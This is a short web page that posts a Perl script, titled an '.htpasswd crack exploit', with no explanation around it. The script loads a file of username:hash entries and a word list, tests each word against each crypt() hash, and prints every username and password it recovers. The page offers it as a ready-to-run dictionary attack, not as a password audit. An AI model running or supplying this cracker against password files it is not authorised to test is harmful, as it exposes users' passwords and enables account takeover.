Skip to main content

.htpasswd crack exploit

#! /usr/bin/perl
# crack.pl by fwaggle root@fwaggle.net
open (PASSFILE, "senhas");
my @passfile = <PASSFILE>;
close PASSFILE;
open (DICTFILE, "dictionary.txt");
my @dictfile = <DICTFILE>;
close DICTFILE;
foreach $line (@passfile) {
my ($username, $encpass) = split(/:/, $line);
foreach $attempt (@dictfile) {
if ($encpass eq crypt($attempt, $encpass)) {
print("Cracked: ${username}:${attempt}\n");
}
}
}


Share this with your friends
Loading...